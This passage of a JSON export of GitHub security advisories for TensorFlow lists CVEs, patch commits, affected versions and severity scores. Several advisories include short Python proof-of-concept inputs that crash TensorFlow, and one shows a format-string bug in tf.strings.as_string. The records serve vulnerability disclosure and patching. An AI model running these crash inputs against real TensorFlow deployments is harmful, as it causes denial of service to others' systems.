University.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:16:52.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-2475-53vw-vp25","https://github.com/tensorflow/tensorflow/commit/3a6ac52664c6c095aa2b114e742b0aa17fdce78f","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35968","https://github.com/advisories/GHSA-2475-53vw-vp25"],"source_kind":"github","identifiers":["GHSA-2475-53vw-vp25","CVE-2022-35968"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.003Z","updated_at":"2023-01-28T05:03:03.000Z","epss_percentage":0.00213,"epss_percentile":0.43944},{"uuid":"GSA_kwCzR0hTQS05djh3LXhtcjQtd2d4cM4AAu2m","url":"https://github.com/advisories/GHSA-9v8w-xmr4-wgxp","title":"TensorFlow vulnerable to `CHECK` fail in `TensorListFromTensor`","description":"### Impact\nWhen `TensorListFromTensor` receives an `element_shape` of a rank greater than one, it gives a `CHECK` fail that can trigger a denial of service attack.\n```python\nimport tensorflow as tf\narg_0=tf.random.uniform(shape=(6, 6, 2), dtype=tf.bfloat16, maxval=None)\narg_1=tf.random.uniform(shape=(6, 9, 1, 3), dtype=tf.int64, maxval=65536)\narg_2=''\ntf.raw_ops.TensorListFromTensor(tensor=arg_0, element_shape=arg_1, name=arg_2)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [3db59a042a38f4338aa207922fa2f476e000a6ee](https://github.com/tensorflow/tensorflow/commit/3db59a042a38f4338aa207922fa2f476e000a6ee).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by 刘力源, Information System \u0026 Security and Countermeasures Experiments Center, Beijing Institute of Technology.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:14:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-9v8w-xmr4-wgxp","https://github.com/tensorflow/tensorflow/commit/3db59a042a38f4338aa207922fa2f476e000a6ee","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35992","https://github.com/advisories/GHSA-9v8w-xmr4-wgxp"],"source_kind":"github","identifiers":["GHSA-9v8w-xmr4-wgxp","CVE-2022-35992"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.068Z","updated_at":"2023-01-28T05:03:11.000Z","epss_percentage":0.00202,"epss_percentile":0.42687},{"uuid":"GSA_kwCzR0hTQS1mcXhjLXB2ZjgtMnc5ds4AAu2b","url":"https://github.com/advisories/GHSA-fqxc-pvf8-2w9v","title":"TensorFlow vulnerable to null dereference on MLIR on empty function attributes","description":"### Impact\n`Eig` can be fed an incorrect `Tout` input, resulting in a `CHECK` fail that can trigger a denial of service attack.\n```python\nimport tensorflow as tf\nimport numpy as np \narg_0=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32)\narg_1=tf.complex128\narg_2=True\narg_3=''\ntf.raw_ops.Eig(input=arg_0, Tout=arg_1, compute_v=arg_2, name=arg_3)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [aed36912609fc07229b4d0a7b44f3f48efc00fd0](https://github.com/tensorflow/tensorflow/commit/aed36912609fc07229b4d0a7b44f3f48efc00fd0).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by 刘力源, Information System \u0026 Security and Countermeasures Experiments Center, Beijing Institute of Technology.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:09:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-fqxc-pvf8-2w9v","https://github.com/tensorflow/tensorflow/commit/aed36912609fc07229b4d0a7b44f3f48efc00fd0","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-36000","https://github.com/advisories/GHSA-fqxc-pvf8-2w9v"],"source_kind":"github","identifiers":["GHSA-fqxc-pvf8-2w9v","CVE-2022-36000"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.172Z","updated_at":"2023-01-30T05:02:52.000Z","epss_percentage":0.00235,"epss_percentile":0.46461},{"uuid":"GSA_kwCzR0hTQS1mMnZ2LXY5Y2ctcWhoN80odw","url":"https://github.com/advisories/GHSA-f2vv-v9cg-qhh7","title":"Assertion failure based denial of service in Tensorflow","description":"### Impact \nThe [implementation of `*Bincount` operations](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/bincount_op.cc) allows malicious users to cause denial of service by passing in arguments which would trigger a `CHECK`-fail:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.DenseBincount(\n  input=[[0], [1], [2]],\n  size=[1],\n  weights=[3,2,1],\n  binary_output=False)\n```\n\nThere are several conditions that the input arguments must satisfy. Some are not caught during shape inference and others are not caught during kernel implementation. This results in `CHECK` failures later when the output tensors get allocated.\n\n### Patches\nWe have patched the issue in GitHub commit [7019ce4f68925fd01cdafde26f8d8c938f47e6f9](https://github.com/tensorflow/tensorflow/commit/7019ce4f68925fd01cdafde26f8d8c938f47e6f9).\n\nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Faysal Hossain Shezan from University of Virginia.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-09T23:43:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-f2vv-v9cg-qhh7","https://github.com/tensorflow/tensorflow/commit/7019ce4f68925fd01cdafde26f8d8c938f47e6f9","https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/bincount_op.cc","https://nvd.nist.gov/vuln/detail/CVE-2022-21737","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-61.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-116.yaml","https://github.com/advisories/GHSA-f2vv-v9cg-qhh7"],"source_kind":"github","identifiers":["GHSA-f2vv-v9cg-qhh7","CVE-2022-21737"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":34.56131941815548,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:36.694Z","updated_at":"2024-11-13T22:32:39.000Z","epss_percentage":0.0022,"epss_percentile":0.44697},{"uuid":"GSA_kwCzR0hTQS00aHZmLWh4dmctZjY3ds0ogA","url":"https://github.com/advisories/GHSA-4hvf-hxvg-f67v","title":"Read and Write outside of bounds in TensorFlow","description":"### Impact\nAn attacker can craft a TFLite model that would allow limited reads and writes outside of arrays in TFLite. This exploits missing validation in [the conversion from sparse tensors to dense tensors](https://github.com/tensorflow/tensorflow/blob/ca6f96b62ad84207fbec580404eaa7dd7403a550/tensorflow/lite/kernels/internal/utils/sparsity_format_converter.cc#L252-L293).\n\n### Patches\nWe have patched the issue in GitHub commit [6364463d6f5b6254cac3d6aedf999b6a96225038](https://github.com/tensorflow/tensorflow/commit/6364463d6f5b6254cac3d6aedf999b6a96225038).\nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Wang Xuan of Qihoo 360 AIVul Team.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-09T23:53:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-4hvf-hxvg-f67v","https://github.com/tensorflow/tensorflow/commit/6364463d6f5b6254cac3d6aedf999b6a96225038","https://github.com/tensorflow/tensorflow/blob/ca6f96b62ad84207fbec580404eaa7dd7403a550/tensorflow/lite/kernels/internal/utils/sparsity_format_converter.cc#L252-L293","https://nvd.nist.gov/vuln/detail/CVE-2022-23560","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-69.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-124.yaml","https://github.com/advisories/GHSA-4hvf-hxvg-f67v"],"source_kind":"github","identifiers":["GHSA-4hvf-hxvg-f67v","CVE-2022-23560"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":42.34978576590883,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:36.960Z","updated_at":"2024-11-13T22:37:55.000Z","epss_percentage":0.00296,"epss_percentile":0.52486},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXhtcTctN2Z4bS1ycjc5","url":"https://github.com/advisories/GHSA-xmq7-7fxm-rr79","title":"Denial of Service in Tensorflow","description":"### Impact\nBy controlling the `fill` argument of [`tf.strings.as_string`](https://www.tensorflow.org/api_docs/python/tf/strings/as_string), a malicious attacker is able to trigger a format string vulnerability due to the way the internal format use in a `printf` call is constructed: https://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/as_string_op.cc#L68-L74\n\nThis can result in unexpected output:\n```python\nIn [1]: tf.strings.as_string(input=[1234], width=6, fill='-')                                                                     \nOut[1]: \u003ctf.Tensor: shape=(1,), dtype=string, numpy=array(['1234  '], dtype=object)\u003e                                              \nIn [2]: tf.strings.as_string(input=[1234], width=6, fill='+')                                                                     \nOut[2]: \u003ctf.Tensor: shape=(1,), dtype=string, numpy=array([' +1234'], dtype=object)\u003e \nIn [3]: tf.strings.as_string(input=[1234], width=6, fill=\"h\")                                                                     \nOut[3]: \u003ctf.Tensor: shape=(1,), dtype=string, numpy=array(['%6d'], dtype=object)\u003e \nIn [4]: tf.strings.as_string(input=[1234], width=6, fill=\"d\")                                                                     \nOut[4]: \u003ctf.Tensor: shape=(1,), dtype=string, numpy=array(['12346d'], dtype=object)\u003e \nIn [5]: tf.strings.as_string(input=[1234], width=6, fill=\"o\")\nOut[5]: \u003ctf.Tensor: shape=(1,), dtype=string, numpy=array(['23226d'], dtype=object)\u003e\nIn [6]: tf.strings.as_string(input=[1234], width=6, fill=\"x\")\nOut[6]: \u003ctf.Tensor: shape=(1,), dtype=string, numpy=array(['4d26d'], dtype=object)\u003e\nIn [7]: tf.strings.as_string(input=[1234], width=6, fill=\"g\")\nOut[7]: \u003ctf.Tensor: shape=(1,), dtype=string, numpy=array(['8.67458e-3116d'], dtype=object)\u003e\nIn [8]: tf.strings.as_string(input=[1234], width=6, fill=\"a\")\nOut[8]: \u003ctf.Tensor: shape=(1,), dtype=string, numpy=array(['0x0.00ff7eebb4d4p-10226d'], dtype=object)\u003e\nIn [9]: tf.strings.as_string(input=[1234], width=6, fill=\"c\")\nOut[9]: \u003ctf.Tensor: shape=(1,), dtype=string, numpy=array(['\\xd26d'], dtype=object)\u003e\nIn [10]: tf.strings.as_string(input=[1234], width=6, fill=\"p\")\nOut[10]: \u003ctf.Tensor: shape=(1,), dtype=string, numpy=array(['0x4d26d'], dtype=object)\u003e\nIn [11]: tf.strings.as_string(input=[1234], width=6, fill='m') \nOut[11]: \u003ctf.Tensor: shape=(1,), dtype=string, numpy=array(['Success6d'], dtype=object)\u003e\n```\n\nHowever, passing in `n` or `s` results in segmentation fault.\n\n### Patches\nWe have patched the issue in 33be22c65d86256e6826666662e40dbdfe70ee83 and will release patch releases for all versions between 1.15 and 2.3.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2020-09-25T18:28:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-xmq7-7fxm-rr79","https://github.com/tensorflow/tensorflow/commit/33be22c65d86256e6826666662e40dbdfe70ee83","https://github.com/tensorflow/tensorflow/releases/tag/v2.3.1","https://nvd.nist.gov/vuln/detail/CVE-2020-15203","http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00065.html","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-283.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-318.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-126.yaml","https://github.com/advisories/GHSA-xmq7-7fxm-rr79"],"source_kind":"github","identifiers":["GHSA-xmq7-7fxm-rr79","CVE-2020-15203"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":42.34978576590883,"packages":[{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:13.747Z","updated_at":"2024-10-28T21:23:19.000Z","epss_percentage":0.0036,"epss_percentile":0.57493},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXdmNXAtYzc1dy13M3do","url":"https://github.com/advisories/GHSA-wf5p-c75w-w3wh","title":"Null pointer dereference in TFLite MLIR optimizations","description":"### Impact\nAn attacker can craft a TFLite model that would trigger a null pointer dereference, which would result in a crash and denial of service:\n\nThis is caused by the MLIR optimization of `L2NormalizeReduceAxis` operator. The [implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/compiler/mlir/lite/transforms/optimize.cc#L67-L70) unconditionally dereferences a pointer to an iterator to a vector without checking that the vector has elements:\n\n```cc\nbool L2NormalizeReduceAxis(Value sq_op, DenseElementsAttr axis) {\n  if (sq_op.getType().cast\u003cShapedType\u003e().getRank() - 1 ==\n          *axis.getValues\u003cint\u003e().begin() ||\n      *axis.getValues\u003cint\u003e().begin() == -1) {\n      // ...\n  }\n  // ...\n}\n```\n\n### Patches\nWe have patched the issue in GitHub commit [d6b57f461b39fd1aa8c1b870f1b974aac3554955](https://github.com/tensorflow/tensorflow/commit/d6b57f461b39fd1aa8c1b870f1b974aac3554955).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n  \n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n          \n### Attribution              \nThis vulnerability has been reported by Yakun Zhang of Baidu Security.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-08-25T14:39:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.5,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-wf5p-c75w-w3wh","https://nvd.nist.gov/vuln/detail/CVE-2021-37689","https://github.com/tensorflow/tensorflow/commit/d6b57f461b39fd1aa8c1b870f1b974aac3554955","https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/compiler/mlir/lite/transforms/optimize.cc#L67-L70","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-602.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-800.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-311.yaml","https://github.com/advisories/GHSA-wf5p-c75w-w3wh"],"source_kind":"github","identifiers":["GHSA-wf5p-c75w-w3wh","CVE-2021-37689"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":41.37622747243966,"packages":[{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:18.814Z","updated_at":"2024-11-13T21:23:12.000Z","epss_percentage":0.00048,"epss_percentile":0.1441},{"uuid":"GSA_kwCzR0hTQS1tNTM5LWo5ODUtaGNyOM0XFw","url":"https://github.com/advisories/GHSA-m539-j985-hcr8","title":"Crash in `max_pool3d` when size argument is 0 or negative","description":"### Impact\nThe Keras pooling layers can trigger a segfault if the size of the pool is 0 or if a dimension is negative: \n\n```python\nimport tensorflow as tf\n\npool_size = [2, 2, 0]\nlayer = tf.keras.layers.MaxPooling3D(strides=1, pool_size=pool_size)\ninput_tensor = tf.random.uniform([3, 4, 10, 11, 12], dtype=tf.float32)\nres = layer(input_tensor)\n```\n\nThis is due to the TensorFlow's implementation of pooling operations where the values in the sliding window are not checked to be strictly positive.\n\n### Patches\nWe have patched the issue in GitHub commit [12b1ff82b3f26ff8de17e58703231d5a02ef1b8b](https://github.com/tensorflow/tensorflow/commit/12b1ff82b3f26ff8de17e58703231d5a02ef1b8b) (merging [#51975](https://github.com/tensorflow/tensorflow/pull/51975)).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution \nThis vulnerability has been reported externally via a [GitHub issue](https://github.com/tensorflow/tensorflow/issues/51936).\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-11-10T19:36:21.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-m539-j985-hcr8","https://nvd.nist.gov/vuln/detail/CVE-2021-41196","https://github.com/tensorflow/tensorflow/issues/51936","https://github.com/tensorflow/tensorflow/commit/12b1ff82b3f26ff8de17e58703231d5a02ef1b8b","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-606.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-804.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-389.yaml","https://github.com/advisories/GHSA-m539-j985-hcr8"],"source_kind":"github","identifiers":["GHSA-m539-j985-hcr8","CVE-2021-41196"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":33.100981977951726,"packages":[{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:43.249Z","updated_at":"2024-11-13T21:46:29.000Z","epss_percentage":0.00049,"epss_percentile":0.14902},{"uuid":"GSA_kwCzR0hTQS0ycDI1LTU1YzktaDU4cc0XFQ","url":"https://github.com/advisories/GHSA-2p25-55c9-h58q","title":"Overflow/crash in `tf.tile` when tiling tensor is large","description":"### Impact\nIf `tf.tile` is called with a large input argument then the TensorFlow process will crash due to a `CHECK`-failure caused by an overflow.\n\n```python\nimport tensorflow as tf\nimport numpy as np\ntf.keras.backend.tile(x=np.ones((1,1,1)), n=[100000000,100000000, 100000000])\n```\n\nThe number of elements in the output tensor is too much for the `int64_t` type and the overflow is detected via a `CHECK` statement. This aborts the process.\n\n### Patches\nWe have patched the issue in GitHub commit [9294094df6fea79271778eb7e7ae1bad8b5ef98f](https://github.com/tensorflow/tensorflow/commit/9294094df6fea79271778eb7e7ae1bad8b5ef98f) (merging [#51138](https://github.com/tensorflow/tensorflow/pull/51138)).\n\nThe fix will be included in 